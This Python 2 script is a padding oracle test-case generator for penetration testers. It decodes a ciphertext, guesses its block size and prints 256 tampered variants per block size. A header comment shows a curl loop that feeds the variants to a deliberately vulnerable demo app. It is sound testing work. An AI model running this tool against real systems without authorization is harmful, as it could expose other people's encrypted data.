312 lines
12 KiB
Python
312 lines
12 KiB
Python
#!/usr/bin/python
|
|
#
|
|
# Padding Oracle test-cases generator.
|
|
# Mariusz Banach / mgeeky, 2016
|
|
# v0.2
|
|
#
|
|
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
|
|
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
|
|
#
|
|
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
|
|
# and then generates all the possible, reasonable cipher text transformations to be used while manually
|
|
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
|
|
# encoded values to be used in manual application testing approaches, like sending requests.
|
|
#
|
|
# One of possible scenarios and ways to use the below script could be the following:
|
|
# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
|
|
# - launch pador.py which is an example of application vulnerable to Padding Oracle
|
|
# - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
|
|
# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
|
|
# result would be considered padding-hit, therefore vulnerability proof.
|
|
#
|
|
# This script could be then launched to generate every possible test case of second to the last block
|
|
# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
|
|
# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
|
|
#
|
|
# Such example usage look like:
|
|
#
|
|
#---------------------------------------------
|
|
# bash$ x=0 ; for i in $(./padding-oracle-tests.py 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6); \
|
|
# do curl -s http://host:5000/echo?cipher=$i | grep -qv 'error' && printf "Byte: 0x%02x not generated decryption error.\n" $x ; x=$((x+1)); done
|
|
#
|
|
# [?] Data resembles block cipher with block size = 16
|
|
# [?] Data resembles block cipher with block size = 8
|
|
#
|
|
# Generated in total: 512 test cases for 8, 16 block sizes.
|
|
# Byte: 0x87 not generated decryption error.
|
|
#---------------------------------------------
|
|
#
|
|
# There the script took at it's first parameter the hex encoded parameter, used it to feed test cases generator and resulted with 512
|
|
# test cases varying with the last byte of the second to the last block:
|
|
# (...)
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fad2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fbd2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fcd2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fdd2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fed2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000ffd2382fb0a54f3a2954bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000054bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000154bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000254bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000354bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000454bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000554bfebe0a04dd4d6
|
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000654bfebe0a04dd4d6
|
|
# (...)
|
|
#
|
|
# At the end, those values were used in for loop to launch for every entry a curl client with request to the Padding Oracle.
|
|
# The 0x87 byte that was catched was the only one that has not generated a 'decryption error' outcome from the request, resulting
|
|
# in improperly decrypted plain-text from attacker-controled cipher text.
|
|
#
|
|
|
|
import re
|
|
import sys
|
|
import urllib
|
|
import binascii as ba
|
|
import base64
|
|
|
|
# Flip this variable when your input data is not being properly processed.
|
|
DEBUG = False
|
|
|
|
|
|
def info(txt):
|
|
sys.stderr.write(txt + '\n')
|
|
|
|
def warning(txt):
|
|
info('[?] ' + txt)
|
|
|
|
def error(txt):
|
|
info('[!] ' + txt)
|
|
|
|
def dbg(txt):
|
|
if DEBUG:
|
|
info('[dbg] '+txt)
|
|
|
|
# or maybe:
|
|
# class PaddingOracleTestCasesWithVaryingSecondToTheLastBlockGenerator
|
|
class PaddingOracleTestCasesGenerator:
|
|
NONE = 0
|
|
B64URL = 1
|
|
B64STD = 2
|
|
HEXENC = 3
|
|
|
|
data = ''
|
|
offset = 0
|
|
encoding = NONE
|
|
blocksizes = set()
|
|
urlencoded = False
|
|
|
|
def __init__(self, data, blocksize=0):
|
|
self.data = data
|
|
len_before = len(data)
|
|
self.encoding = self.detect_encoding()
|
|
self.data = self.decode(data)
|
|
|
|
if blocksize != 0:
|
|
assert blocksize % 8 == 0, "Blocksize must be divisible by 8"
|
|
self.blocksizes = [blocksize,]
|
|
else:
|
|
self.detect_blocksize()
|
|
|
|
self.data_evaluation(len_before)
|
|
|
|
def data_evaluation(self, len_before):
|
|
def entropy(txt):
|
|
import math
|
|
from collections import Counter
|
|
p, lns = Counter(txt), float(len(txt))
|
|
return -sum( count / lns * math.log(count/lns, 2) for count in p.values())
|
|
|
|
e = entropy(self.data)
|
|
warning('Data size before and after decoding: %d -> %d' % (len_before, len(self.data)))
|
|
warning('Data entropy: %.6f' % entropy(self.data))
|
|
|
|
if e < 5.0:
|
|
info('\tData does not look random, not likely to deal with block cipher.')
|
|
elif e >= 5.0 and e < 7.0:
|
|
info('\tData only resembles random stream, hardly to be dealing with block cipher.')
|
|
else:
|
|
info('\tHigh likelihood of dealing with block cipher. That\'s good.')
|
|
|
|
if self.offset != 0:
|
|
warning('Data structure not resembles block cipher.')
|
|
warning('Proceeding with sliding window of %d bytes in the beginning and at the end\n' % self.offset)
|
|
else:
|
|
warning('Data resembles block cipher with block size = %d' % max(self.blocksizes))
|
|
|
|
def detect_encoding(self):
|
|
b64url = '^[a-zA-Z0-9_\-]+={0,2}$'
|
|
b64std = '^[a-zA-Z0-9\+\/]+={0,2}$'
|
|
hexenc1 = '^[0-9a-f]+$'
|
|
hexenc2 = '^[0-9A-F]+$'
|
|
|
|
data = self.data
|
|
if re.search('%[0-9a-f]{2}', self.data, re.I) != None:
|
|
dbg('Sample is url-encoded.')
|
|
data = urllib.unquote_plus(data)
|
|
self.urlencoded = True
|
|
|
|
if (re.match(hexenc1, data) or re.match(hexenc2, data)) and len(data) % 2 == 0:
|
|
dbg('Hex encoding detected.')
|
|
return self.HEXENC
|
|
|
|
if re.match(b64url, data):
|
|
dbg('Base64url encoding detected.')
|
|
return self.B64URL
|
|
|
|
if re.match(b64std, data):
|
|
dbg('Standard Base64 encoding detected.')
|
|
return self.B64STD
|
|
|
|
error('Warning: Could not detect data encoding. Going with plain data.')
|
|
return self.NONE
|
|
|
|
def detect_blocksize(self):
|
|
sizes = [32, 16, 8] # Correspondigly: 256, 128, 64 bits
|
|
|
|
self.offset = len(self.data) % 8
|
|
datalen = len(self.data) - self.offset
|
|
|
|
for s in sizes:
|
|
if datalen % s == 0 and datalen / s >= 2:
|
|
self.blocksizes.add(s)
|
|
|
|
if not len(self.blocksizes):
|
|
if datalen >= 32:
|
|
self.blocksizes.add(16)
|
|
if datalen >= 16:
|
|
self.blocksizes.add(8)
|
|
|
|
if not len(self.blocksizes):
|
|
raise Exception("Could not detect data's blocksize automatically.")
|
|
|
|
def encode(self, data):
|
|
def _enc(data):
|
|
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
|
|
return base64.urlsafe_b64encode(data)
|
|
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
|
|
return base64.b64encode(data)
|
|
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
|
|
return ba.hexlify(data).strip()
|
|
else:
|
|
return data
|
|
|
|
enc = _enc(data)
|
|
if self.urlencoded:
|
|
return urllib.quote_plus(enc)
|
|
else:
|
|
return enc
|
|
|
|
def decode(self, data):
|
|
def _decode(self, data):
|
|
if self.urlencoded:
|
|
data = urllib.unquote_plus(data)
|
|
|
|
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
|
|
return base64.urlsafe_b64decode(data)
|
|
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
|
|
return base64.b64decode(data)
|
|
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
|
|
return ba.unhexlify(data).strip()
|
|
else:
|
|
return data
|
|
|
|
dbg("Hex dump of data before decoding:\n" + hex_dump(data))
|
|
decoded = _decode(self, data)
|
|
dbg("Hex dump of data after decoding:\n" + hex_dump(decoded))
|
|
return decoded
|
|
|
|
def construct_second_to_last_block(self, data, blocksize, value, offset=0):
|
|
|
|
assert len(data) >= 2 * blocksize, "Too short data to operate on it with given blocksize."
|
|
assert abs(offset) < blocksize, "Incorrect offset was specified. Out-of-bounds access."
|
|
|
|
# Null vector with the last byte set to iterated value.
|
|
block = '0' * (2*(blocksize-1)) + '%02x' % value
|
|
|
|
if offset >= 0:
|
|
# datadata<rest>
|
|
return data[:-2*blocksize-offset] + ba.unhexlify(block) + data[-blocksize-offset:]
|
|
else:
|
|
# <rest>datadata
|
|
return data[-offset:-2*blocksize] + ba.unhexlify(block) + data[-blocksize:]
|
|
|
|
def generate_test_cases(self):
|
|
cases = []
|
|
data = self.data
|
|
for size in self.blocksizes:
|
|
dbg("Now generating test cases of %d blocksize." % size)
|
|
for byte in range(256):
|
|
|
|
# No offset
|
|
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte)))
|
|
|
|
if self.offset != 0:
|
|
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, self.offset)))
|
|
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, -self.offset)))
|
|
|
|
return cases
|
|
|
|
def hex_dump(data):
|
|
s = ''
|
|
n = 0
|
|
lines = []
|
|
|
|
if len(data) == 0:
|
|
return '<empty>'
|
|
|
|
for i in range(0, len(data), 16):
|
|
line = ''
|
|
line += '%04x | ' % (i)
|
|
n += 16
|
|
|
|
for j in range(n-16, n):
|
|
if j >= len(data): break
|
|
line += '%02x ' % ord(data[j])
|
|
|
|
line += ' ' * (3 * 16 + 7 - len(line)) + ' | '
|
|
|
|
for j in range(n-16, n):
|
|
if j >= len(data): break
|
|
c = data[j] if not (ord(data[j]) < 0x20 or ord(data[j]) > 0x7e) else '.'
|
|
line += '%c' % c
|
|
|
|
lines.append(line)
|
|
|
|
return '\n'.join(lines)
|
|
|
|
def main():
|
|
info('\n\tPadding Oracle test-cases generator')
|
|
info('\tMariusz Banach / mgeeky, 2016\n')
|
|
|
|
if len(sys.argv) < 2:
|
|
warning('usage: padding-oracle-tests.py <data> [blocksize]')
|
|
sys.exit(0)
|
|
|
|
data = sys.argv[1].strip()
|
|
bsize = int(sys.argv[2]) if len(sys.argv) > 2 else 0
|
|
|
|
try:
|
|
tester = PaddingOracleTestCasesGenerator(data, bsize)
|
|
except Exception as e:
|
|
error(str(e))
|
|
return False
|
|
|
|
s = hex_dump(tester.data)
|
|
info('Decoded data:\n%s\n' % s)
|
|
|
|
cases = tester.generate_test_cases()
|
|
|
|
for case in cases:
|
|
if DEBUG:
|
|
dbg('...' + case[-48:])
|
|
else:
|
|
print case
|
|
|
|
info('\n[+] Generated in total: %d test cases for %s block sizes.' \
|
|
% (len(cases), ', '.join([str(e) for e in sorted(tester.blocksizes)])))
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main()
|